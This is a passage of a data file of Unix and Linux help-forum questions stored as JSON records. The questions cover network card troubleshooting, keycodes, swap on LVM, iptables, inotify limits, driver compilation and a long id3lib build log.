booted latest arch linux live medium ; didn't work, same symptoms * booted Ubuntu 14.04.1 live medium ; didn't work, same symptoms * In every setup mentioned above I tried accessing the network by manually assigning an IP address, by using wicd. In the start I also tried NetworkManager, same results * At this point I suspect the NIC may be broken, if so, how could I validate this or rule it out? This is the NIC in question (Thinkpad X200): 00:19.0 Ethernet controller: Intel Corporation 82567LM Gigabit Network Connection (rev 03) Subsystem: Lenovo Device 20ee Flags: bus master, fast devsel, latency 0, IRQ 44 Memory at f2600000 (32-bit, non-prefetchable) [size=128K] Memory at f2625000 (32-bit, non-prefetchable) [size=4K] I/O ports at 1840 [size=32] Capabilities: [c8] Power Management version 2 Capabilities: [d0] MSI: Enable+ Count=1/1 Maskable- 64bit+ Capabilities: [e0] PCI Advanced Features Kernel driver in use: e1000e Kernel modules: e1000e ethtool -S eth0: NIC statistics: rx_packets: 0 tx_packets: 90 rx_bytes: 0 tx_bytes: 8113 rx_broadcast: 0 tx_broadcast: 70 rx_multicast: 0 tx_multicast: 20 rx_errors: 0 tx_errors: 0 tx_dropped: 0 multicast: 0 collisions: 0 rx_length_errors: 0 rx_over_errors: 0 rx_crc_errors: 0 rx_frame_errors: 0 rx_no_buffer_count: 0 rx_missed_errors: 0 tx_aborted_errors: 0 tx_carrier_errors: 0 tx_fifo_errors: 0 tx_heartbeat_errors: 0 tx_window_errors: 0 tx_abort_late_coll: 0 tx_deferred_ok: 0 tx_single_coll_ok: 0 tx_multi_coll_ok: 0 tx_timeout_count: 0 tx_restart_queue: 0 rx_long_length_errors: 0 rx_short_length_errors: 0 rx_align_errors: 0 tx_tcp_seg_good: 0 tx_tcp_seg_failed: 0 rx_flow_control_xon: 0 rx_flow_control_xoff: 0 tx_flow_control_xon: 0 tx_flow_control_xoff: 0 rx_csum_offload_good: 0 rx_csum_offload_errors: 0 rx_header_split: 0 alloc_rx_buff_failed: 0 tx_smbus: 0 rx_smbus: 0 dropped_smbus: 0 rx_dma_failed: 0 tx_dma_failed: 0 rx_hwtstamp_cleared: 0 uncorr_ecc_errors: 0 corr_ecc_errors: 0 Using tcpdump -i eth0 I don't see any traffic at all."} {"_id": "24570", "title": "pattern search and display the last occuring pattern?", "text": "I have a log file containing **startup** and **shutdown** times for everday. I want to see the last pattern pattern for startup and shutdown(which is located at the end of the file being updated everyday). Also I dont want all the lines between the startup and shutdown.I want only few(say 3) lines after the last startup and few(say 3 lines) after the last shutdown. Any suggestions for a one liner."} {"_id": "58558", "title": "Unable to use aa-genprof without compatibility patch", "text": "I run 3.6.10 kernel, It seems like apparmor compatibility patch were dropped in latest kernel, so aa-genprof won't work anymore, any suggestions? Looks like aa-status or other aa- commands were trying to access a non- existence location `/sys/kernel/security/apparmor/profiles` P.S securityfs was mounted, `securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)`"} {"_id": "58559", "title": "How to change a keycode using setkeycodes", "text": "I have a Thinkpad Edge E130 running Sabayon (a Gentoo-based distro), and I'm fighting the well-know bug **Xorg 255 keycodes limit**. My laptop has the Fn+F4 hotkey for _Mic Mute/Unmute_. This is the problem: * `showkey -k` shows keycode **248** on Fn+F4 keypress * `showkey -s` shows nothing on keypress * `xev` shows nothing on keypress (because 248+8 [added by kernel] is bigger than 255) If a key has a keycode, it must have a scancode too. With getscancodes program indeed I got 26 as scancode: # ./Sabayon/getscancodes/getscancodes /dev/input/event6 Input driver version is 1.0.1 Input device ID: bus 0x19 vendor 0x17aa product 0x5054 version 0x4101 Input device name: \"ThinkPad Extra Buttons\" 26 (0x1a) 26 (0x1a) According to this thread, my guess is simply to change the keycode of the hotkey with a smaller, unused one. For example 120 seems to be unused according to my `$ xmodmap -pke` I have tried with # setkeycodes 0x1a 120 but without success, the keycode is always 248 checking with `showkey`. How is the proper way to change keycodes?"} {"_id": "62123", "title": "Create swap partition after install", "text": "I already have parititon contain data under lvm enviroment with centos 5.8 output of fdisk -l root@server [~]# fdisk -l Disk /dev/sda: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sda1 * 1 25 200781 83 Linux /dev/sda2 26 121601 976559220 8e Linux LVM output of lvdisplay # lvdisplay --- Logical volume --- LV Name /dev/sysvg/ROOT VG Name sysvg LV UUID 6oy3Rj-ka3K-mL9s-vjjG-1Iqw-dniq-UbWzvJ LV Write Access read/write LV Status available # open 1 LV Size 919.44 GB Current LE 29422 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 --- Logical volume --- LV Name /dev/sysvg/TMP VG Name sysvg LV UUID jTKLBt-eNz0-KxmV-E5Nk-jjC0-FlRb-qny62p LV Write Access read/write LV Status available # open 1 LV Size 9.88 GB Current LE 316 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:1 --- Logical volume --- LV Name /dev/sysvg/SHM VG Name sysvg LV UUID NpKjhl-tzzn-Dk3G-A6dl-4QJB-QCc2-IkbDH5 LV Write Access read/write LV Status available # open 1 LV Size 2.00 GB Current LE 64 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:2 output of df -h root@server [~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/sysvg-ROOT 891G 125G 721G 15% / /dev/mapper/sysvg-TMP 9.6G 153M 9.0G 2% /tmp /dev/mapper/sysvg-SHM 8.0G 8.0K 8.0G 1% /dev/shm /dev/sda1 190M 19M 162M 11% /boot tmpfs 8.0G 8.0K 8.0G 1% /dev/shm output for /etc/fstab root@server [~]# cat /etc/fstab /dev/sysvg/ROOT / ext3 usrjquota=quota.user,jqfmt=vfsv0 1 1 /dev/sysvg/TMP /tmp ext3 defaults 1 2 /dev/sysvg/SHM /dev/shm ext3 defaults,usrquota 1 2 LABEL=/boot /boot ext3 defaults 1 2 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /tmp /var/tmp ext3 defaults,bind,noauto 0 0 I don't have any idea how to create swap partition , and i worried about creating cause any DATA LOSS"} {"_id": "79722", "title": "Tell ffserver which track to use", "text": "I want to stream videos via ffserver. My videos are in container formats like mkv and avi and sometimes have multiple audio/video tracks. How can I tell ffserver which track to use? It seems to always take the first one."} {"_id": "62121", "title": "How can be monitored I/O stream in a particular Linux directory or file?", "text": "I have a problem with monitoring of i/o stream in the particular directory(amount of read and written bytes during specified period). I have been trying to use iostat, inotifywait and inotifywatch, but unfortunately they measure only activity upon directory (open, close, modify, etc.) but not gives info about read and written bytes."} {"_id": "28403", "title": "tar cvf or tar -cvf ?", "text": "I have learned to use tar without '-' for options, like `tar cvfz dir.tar.gz Directory/` but I recently came accross the slightly different `tar -czvf` syntax (I think the 'f' must be the last option in this case). Both work on linux and Mac OS. Is there a recommended syntax, with ou without '-' which is more portable accross unix flavors ?"} {"_id": "58553", "title": "How to clear memory cache in Linux", "text": "![TOP](http://i.stack.imgur.com/auNr7.png) Is there any command that by using I can clean the cache in RHEL? I used this command: sync; echo 3 > /proc/sys/vm/drop_caches but it didn't work."} {"_id": "58550", "title": "How to view the output of a running process in another bash session?", "text": "I have left a script running on a remote machine from when I was locally working at it. I can connect over SSH to the machine as the same user and see the script running in `ps`. $ ps aux | grep ipcheck myuser 18386 0.0 0.0 18460 3476 pts/0 S+ Dec14 1:11 /bin/bash ./ipchecker.sh It is simply outputting to stdout on a local session (I ran `./ipchecker.sh` form a local terminal window, no redirection, no use of `screen` etc). Is there anyway from an SSH session I can view the output of this running command (without stopping it)? So far the best I have found is to use `strace -p 18386` but I get hordes of text flying up the screen, its far too detailed. I can stop `strace` and then sift through the output and find the text bring printed to stdout but its very long and confusing, and obviously whilst it's stopped I might miss something. I would like to find a way to see the script output live as if I was working locally. Can anyone improve on this? The obvious answer is to restart the script with redirection or in a `screen` session etc, this isn't a mission critical script so I could do that. Rather though, I see this as a fun learning exercise."} {"_id": "28400", "title": "Compiling driver for RNX-MiniN2 on kernel 3.X", "text": "I'm trying to compile an open source driver for my new USB Rosewill RNX-MiniN2 wireless adapter, and I'm running into the following error: make ARCH=x86_64 CROSS_COMPILE= -C /lib/modules/3.0.0-14-generic/build M=/home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922 modules make[1]: Entering directory `/usr/src/linux-headers-3.0.0-14-generic' CC [M] /home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922/core/rtw_cmd.o In file included from /home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922/core/rtw_cmd.c:24:0: /home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922/include/osdep_service.h:49:29: fatal error: linux/smp_lock.h: No such file or directory compilation terminated. make[2]: *** [/home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922/core/rtw_cmd.o] Error 1 make[1]: *** [_module_/home/rfkrocktk/Desktop/RTL8192CU_8188CUS_8188CE-VAU_linux_v3.1.2590.20110922/driver/rtl8192_8188CU_linux_v3.1.2590.20110922] Error 2 make[1]: Leaving directory `/usr/src/linux-headers-3.0.0-14-generic' make: *** [modules] Error 2 Compile make driver error: 2, Please check error Mesg Evidently, due to recent kernel changes, `smp_lock.h` doesn't exist anymore. How can I kludge this together and make it work? I just paid for this USB stick and I'd like to be able to use it and not have to ship it back."} {"_id": "91458", "title": "Best way to set serial port speeds on boot?", "text": "I've got instruments hooked up to /dev/ttyS1 through ttyS9 on a machine running Debian Wheezy. The various instruments communicate at various speeds. Is there a better way to set the baud rates than to have a bunch of lines like stty -F /dev/ttyS1 19200 raw -echo stty -F /dev/ttyS2 4800 raw -echo etc... in rc.local?"} {"_id": "58555", "title": "Can I limit the number of inotify watches available to a process or cgroup?", "text": "I am consistently running out of inotify resources, leading to errors along the lines of: # tail -f /some/files tail: inotify resources exhausted tail: inotify cannot be used, reverting to polling This eventually happens even if I grow the value of `fs.inotify.max_user_watches`. I suspect a locally installed Java application is consuming the resources, but I don't have the option of either fixing it or removing it. Is there a way to set a limit on the number of inotify watches that can be consumed by a process?"} {"_id": "144621", "title": "Securing a script a little more", "text": "I currently have the following script which works fine: #!/bin/sh user=\"$(zenity --entry --title=\"Username\" --text=\"Username\")\" pass=\"$(zenity --password --title=\"Password\" --text=\"Password\")\" xfreerdp /cert-ignore /f /v:farm.company.com /d:company.com /g:rds.company.com /u:${user} /gd:company.com /gu:${user} /gp:${pass} /p:${pass} This is apparently not very secure as the username and password can easily be seen by using `ps axu` Is there a more secure way of creating this script?"} {"_id": "115073", "title": "Shell Script to isolate files scattered in different folders", "text": "I need to write a shell script that traverses a given directory structure in multiple levels, recognizes the video files scattered in the folders and copies all of them to another single folder. The video files are really Macromedia Flash data files (saved in my browser's cache) and they do not have any particular extension like .MP4 or .FLV just aplhanumeric names. Now, I managed to make a start: #!/bin/bash #This script checks if the given folder contains video file and copies them another folder filePath=$1 #the argument(The folder Path) if [[ -z \"$filePath\" ]]; then #empty argument check echo \"Please input the folder to search\" exit 1 fi if [ -d \"$filePath\" ]; then if [ -L \"$filePath\" ]; then #check if the input folder is a valid folder echo \"directory $file does not exist\" exit 1 fi else #improper input given by the user echo \"$filePath is either not a valid directory or it is a file.Please enter a valid directory address\" exit 1 fi find $filePath type -d | \\ #the find here list all the files and directories in the given folder while read i do if [[ -d \"$i\" ]]; then idDirectory #Call the function elif [[ -f \"$i\" ]]; then #check if its the file in the expected format #do the copy work fi done exit 0 idDirectory(){ # A recursive function to go multiple levels of the directory tree #the function which tells if the path is directory or file #If its a directory then it will call itself, till it gets a file #need some help here!!!!! } I need help to write the recursive function that identifies and traverses directories.Also corrections are welcome. I tried this. but it was not successful. Please Forgive my ignorances as i'm new to shell scripting."} {"_id": "144623", "title": "How can I output the difference between 2 files?", "text": "My file consists of the the following; roughly: username:username:username:username:username The above line continues to about 600 characters. I use the `awk` command in order to use it as an argument in a API/HTTP request sent from the command line. I'm using my script to get a list of user accounts 'following' me, and every 24 hours or so, comparing the original list on my hard disk to the newly outputted username list (and **echo'ing out who is no longer following me**. I will have to encapsulate my logic into a loop using bash.. testing each username. My current script: user=$(awk -F: '{ print $1 }' FILE) # Grab $User to use as an argument. following=$(exec CURRENT_FOLLOWERS) # Outputs the new file echo \"X amount of users are following you on 78B066B87AF16A412556458AC85EFEF66155\" SAVE CURRENT FOLLOWERS TO NEW A FILE. if [[ DIFFERENCE IS DETECTED ]] ; then echo -ne \"$User NO LONGER FOLLOWING YOU\\r\" else echo -ne \"This user is following you still.\\r\" fi My question is; **How can I output the difference between 2 files?**"} {"_id": "144622", "title": "( /etc/sysconfig/iptables ) \"Manual customization of this file is not recommended.\" Why?", "text": "Editing this file directly /etc/sysconfig/iptables can save me so much headaches so much time and so on... and yet on the very top of the file it says.. Manual customization of this file is not recommended. here is the '/etc/sysconfig/iptables' that just came with a brand new centos 6.4 cloud server. # Firewall configuration written by system-config-firewall # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -j REJECT --reject-with icmp-host-prohibited COMMIT to open port 80 i can simply clone the line.. -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT and then change \"22\" to \"80\" and then save this file and then reboot the whole system. this will open port 80 for me. this is pretty simple operation. and yet the file says manual editing is not recommended. why should i follow the advice ?"} {"_id": "115075", "title": "what does mean crond[2113] : (*system*) RELOAD (/etc/cron.d/mycron)", "text": "crond[2113] : (*system*) RELOAD (/etc/cron.d/mycron) My cron job is not working and I got the error above in log, What does mean that, how can I know what is going on. My cron job code: SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ * * * * * root php /var/www/html/app/checkUserAction.php"} {"_id": "144629", "title": "How to setup a proxy server like WatchGuard HTTP Proxy server?", "text": "I have an application which works mostly but since I went to test it in Enterprise networks it simply never works, because there all local computers have to use a proxy server. So to do all those testing I decided to simulate a Proxy Server ( http://www.waronerrors.com/kb/request-denied-by-watchguard-http-proxy.aspx ) And then test behind that proxy server my application. Which Linux tools I can use to simulate a watchguard http like proxy server?"} {"_id": "144628", "title": "merge csv files, escape comma inside quotes", "text": "I have 3 csv files I want to join by first column (id column) Each file has the same 3 columns Row example : id | timestamp | Name 3792318, 2014-07-15 00:00:00, \"A, B\" When I join the 3 csv files with join -t, <(join -t, csv1 csv2) csv3 > out.csv The `out.csv` file doesn't have the same number of columns for each row, probably because the delimiter is a comma and some rows (like in the example above) have commas in the contents of the cell."} {"_id": "34325", "title": "Sorting the output of \"find\"?", "text": "I need to be able to alphabetically sort the output of `find` before piping it to a command. Entering `| sort |` between didn't work, so what could I do? find folder1 folder2 -name \"*.txt\" -print0 | xargs -0 myCommand"} {"_id": "115079", "title": "What does the (-) in 'abi_x86_32(-)' signify in an ebuild?", "text": "In the process of updating my Gentoo system, I've run into something I don't understand. Wine is requesting `app-emulation/emul-linux-x86-soundlibs`, which in turn requests `>=media-plugins/alsaequal-0.6-r1[abi_x86_32(-)]`, which then in turn requests `>=media-plugins/caps-plugins-0.9.11[${MULTILIB_USEDEP}]`. `caps-plugins` turns around and depends on `!<=app-emulation/emul- linux-x86-soundlibs-20130224-r2` and `!app-emulation/emul- linux-x86-soundlibs[-abi_x86_32(-)]`. Most of these are using (-) to mean something. What does the trailing `(-)` mean?"} {"_id": "34323", "title": "How to install rastertoezpl on Pardus?", "text": "I bought a barcode printer as Godex. I have to install its drivers. I did it on Ubuntu. However, I have some problems about it.For example: In README file: $ sudo aptitude install libcupsimage2-dev But shell says me `sudo:aptitude: command not found` Moreover when i write `sudo apt-get install aptitude it` says sudo:apt-get: command not found And then, When I write `./configure` shell says followings. ./configure checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for a thread-safe mkdir -p... /bin/mkdir -p checking for gawk... gawk checking whether make sets $(MAKE)... no checking for gcc... no checking for cc... no checking for cl.exe... no configure: error: no acceptable C compiler found in $PATH See `config.log' for more details. How can i fix it ? How can i install this package? Thanks for your help already now."} {"_id": "34321", "title": "Leave remote command running storing output", "text": "Scenario; I have SSH'ed to a machine, opened a new screen session, and fired off a script. Some days later I SSH back to that machine, re-attach the screen session and look at the output that has been generated, however; I can't scroll back through the output. From what I can see, screen stores one \"screens worth\" of stdout output. If my script has generated 100 lines of output in 48 hours, I can't see it all, just the last 40 odd lines or so. Is there a way to make `screen` store all stdout from the script I leave running, so I can re-attach the screen and PgUp/PgDn through it as if it were a script running on my local machine? Perhaps `screen` isn't the most optimal way to do this? Is there a better method for leaving scripts running on remote machines after log out, and being able to re-attach to that process at a later date and view all the output?"} {"_id": "145578", "title": "Unable to build id3lib on Crunchbang", "text": "I'm trying to install `id3lib` in my new Crunchbang distro. So, I downloaded the tar.gz file and executed `configure` command which ran good. And when I run `make` I'm getting the following error: make[2]: *** [c_wrapper.lo] Error 1 make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/gts/downloads/id3lib-3.8.3' make: *** [all] Error 2 I've also added the full output below for reference. make all-recursive make[1]: Entering directory `/home/gts/downloads/id3lib-3.8.3' Making all in . make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3' make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3' Making all in m4 make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/m4' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/m4' Making all in zlib make[2]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib' cd . \\ && CONFIG_FILES= CONFIG_HEADERS=config.h \\ /bin/bash ./config.status config.status: creating config.h config.status: config.h is unchanged config.status: executing default-1 commands make all-recursive make[3]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib' Making all in . make[4]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib' make[4]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib' Making all in include make[4]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib/include' make[4]: Nothing to be done for `all'. make[4]: Leaving directory `/home/gts/downloads/id3lib-3.8.3/zlib/include' Making all in src make[4]: Entering directory `/home/gts/downloads/id3lib-3.8.3/zlib/src' source='adler32.c' object='adler32.lo' libtool=yes \\ depfile='.deps/adler32.Plo' tmpdepfile='.deps/adler32.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o adler32.lo `test -f adler32.c || echo './'`adler32.c mkdir .libs gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c adler32.c -MT adler32.lo -MD -MP -MF .deps/adler32.TPlo -fPIC -DPIC -o .libs/adler32.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c adler32.c -MT adler32.lo -MD -MP -MF .deps/adler32.TPlo -o adler32.o >/dev/null 2>&1 mv -f .libs/adler32.lo adler32.lo source='compress.c' object='compress.lo' libtool=yes \\ depfile='.deps/compress.Plo' tmpdepfile='.deps/compress.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o compress.lo `test -f compress.c || echo './'`compress.c rm -f .libs/compress.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c compress.c -MT compress.lo -MD -MP -MF .deps/compress.TPlo -fPIC -DPIC -o .libs/compress.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c compress.c -MT compress.lo -MD -MP -MF .deps/compress.TPlo -o compress.o >/dev/null 2>&1 mv -f .libs/compress.lo compress.lo source='crc32.c' object='crc32.lo' libtool=yes \\ depfile='.deps/crc32.Plo' tmpdepfile='.deps/crc32.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o crc32.lo `test -f crc32.c || echo './'`crc32.c rm -f .libs/crc32.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c crc32.c -MT crc32.lo -MD -MP -MF .deps/crc32.TPlo -fPIC -DPIC -o .libs/crc32.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c crc32.c -MT crc32.lo -MD -MP -MF .deps/crc32.TPlo -o crc32.o >/dev/null 2>&1 mv -f .libs/crc32.lo crc32.lo source='deflate.c' object='deflate.lo' libtool=yes \\ depfile='.deps/deflate.Plo' tmpdepfile='.deps/deflate.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o deflate.lo `test -f deflate.c || echo './'`deflate.c rm -f .libs/deflate.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c deflate.c -MT deflate.lo -MD -MP -MF .deps/deflate.TPlo -fPIC -DPIC -o .libs/deflate.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c deflate.c -MT deflate.lo -MD -MP -MF .deps/deflate.TPlo -o deflate.o >/dev/null 2>&1 mv -f .libs/deflate.lo deflate.lo source='gzio.c' object='gzio.lo' libtool=yes \\ depfile='.deps/gzio.Plo' tmpdepfile='.deps/gzio.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o gzio.lo `test -f gzio.c || echo './'`gzio.c rm -f .libs/gzio.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c gzio.c -MT gzio.lo -MD -MP -MF .deps/gzio.TPlo -fPIC -DPIC -o .libs/gzio.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c gzio.c -MT gzio.lo -MD -MP -MF .deps/gzio.TPlo -o gzio.o >/dev/null 2>&1 mv -f .libs/gzio.lo gzio.lo source='infblock.c' object='infblock.lo' libtool=yes \\ depfile='.deps/infblock.Plo' tmpdepfile='.deps/infblock.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o infblock.lo `test -f infblock.c || echo './'`infblock.c rm -f .libs/infblock.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infblock.c -MT infblock.lo -MD -MP -MF .deps/infblock.TPlo -fPIC -DPIC -o .libs/infblock.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infblock.c -MT infblock.lo -MD -MP -MF .deps/infblock.TPlo -o infblock.o >/dev/null 2>&1 mv -f .libs/infblock.lo infblock.lo source='infcodes.c' object='infcodes.lo' libtool=yes \\ depfile='.deps/infcodes.Plo' tmpdepfile='.deps/infcodes.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o infcodes.lo `test -f infcodes.c || echo './'`infcodes.c rm -f .libs/infcodes.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infcodes.c -MT infcodes.lo -MD -MP -MF .deps/infcodes.TPlo -fPIC -DPIC -o .libs/infcodes.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infcodes.c -MT infcodes.lo -MD -MP -MF .deps/infcodes.TPlo -o infcodes.o >/dev/null 2>&1 mv -f .libs/infcodes.lo infcodes.lo source='inffast.c' object='inffast.lo' libtool=yes \\ depfile='.deps/inffast.Plo' tmpdepfile='.deps/inffast.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o inffast.lo `test -f inffast.c || echo './'`inffast.c rm -f .libs/inffast.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inffast.c -MT inffast.lo -MD -MP -MF .deps/inffast.TPlo -fPIC -DPIC -o .libs/inffast.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inffast.c -MT inffast.lo -MD -MP -MF .deps/inffast.TPlo -o inffast.o >/dev/null 2>&1 mv -f .libs/inffast.lo inffast.lo source='inflate.c' object='inflate.lo' libtool=yes \\ depfile='.deps/inflate.Plo' tmpdepfile='.deps/inflate.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o inflate.lo `test -f inflate.c || echo './'`inflate.c rm -f .libs/inflate.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inflate.c -MT inflate.lo -MD -MP -MF .deps/inflate.TPlo -fPIC -DPIC -o .libs/inflate.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inflate.c -MT inflate.lo -MD -MP -MF .deps/inflate.TPlo -o inflate.o >/dev/null 2>&1 mv -f .libs/inflate.lo inflate.lo source='inftrees.c' object='inftrees.lo' libtool=yes \\ depfile='.deps/inftrees.Plo' tmpdepfile='.deps/inftrees.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o inftrees.lo `test -f inftrees.c || echo './'`inftrees.c rm -f .libs/inftrees.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inftrees.c -MT inftrees.lo -MD -MP -MF .deps/inftrees.TPlo -fPIC -DPIC -o .libs/inftrees.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c inftrees.c -MT inftrees.lo -MD -MP -MF .deps/inftrees.TPlo -o inftrees.o >/dev/null 2>&1 mv -f .libs/inftrees.lo inftrees.lo source='infutil.c' object='infutil.lo' libtool=yes \\ depfile='.deps/infutil.Plo' tmpdepfile='.deps/infutil.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o infutil.lo `test -f infutil.c || echo './'`infutil.c rm -f .libs/infutil.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infutil.c -MT infutil.lo -MD -MP -MF .deps/infutil.TPlo -fPIC -DPIC -o .libs/infutil.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c infutil.c -MT infutil.lo -MD -MP -MF .deps/infutil.TPlo -o infutil.o >/dev/null 2>&1 mv -f .libs/infutil.lo infutil.lo source='trees.c' object='trees.lo' libtool=yes \\ depfile='.deps/trees.Plo' tmpdepfile='.deps/trees.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o trees.lo `test -f trees.c || echo './'`trees.c rm -f .libs/trees.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c trees.c -MT trees.lo -MD -MP -MF .deps/trees.TPlo -fPIC -DPIC -o .libs/trees.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c trees.c -MT trees.lo -MD -MP -MF .deps/trees.TPlo -o trees.o >/dev/null 2>&1 mv -f .libs/trees.lo trees.lo source='uncompr.c' object='uncompr.lo' libtool=yes \\ depfile='.deps/uncompr.Plo' tmpdepfile='.deps/uncompr.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o uncompr.lo `test -f uncompr.c || echo './'`uncompr.c rm -f .libs/uncompr.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c uncompr.c -MT uncompr.lo -MD -MP -MF .deps/uncompr.TPlo -fPIC -DPIC -o .libs/uncompr.lo gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c uncompr.c -MT uncompr.lo -MD -MP -MF .deps/uncompr.TPlo -o uncompr.o >/dev/null 2>&1 mv -f .libs/uncompr.lo uncompr.lo source='zutil.c' object='zutil.lo' libtool=yes \\ depfile='.deps/zutil.Plo' tmpdepfile='.deps/zutil.TPlo' \\ depmode=gcc3 /bin/bash ../../depcomp \\ /bin/bash ../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -g -O2 -c -o zutil.lo `test -f zutil.c || echo './'`zutil.c rm -f .libs/zutil.lo gcc 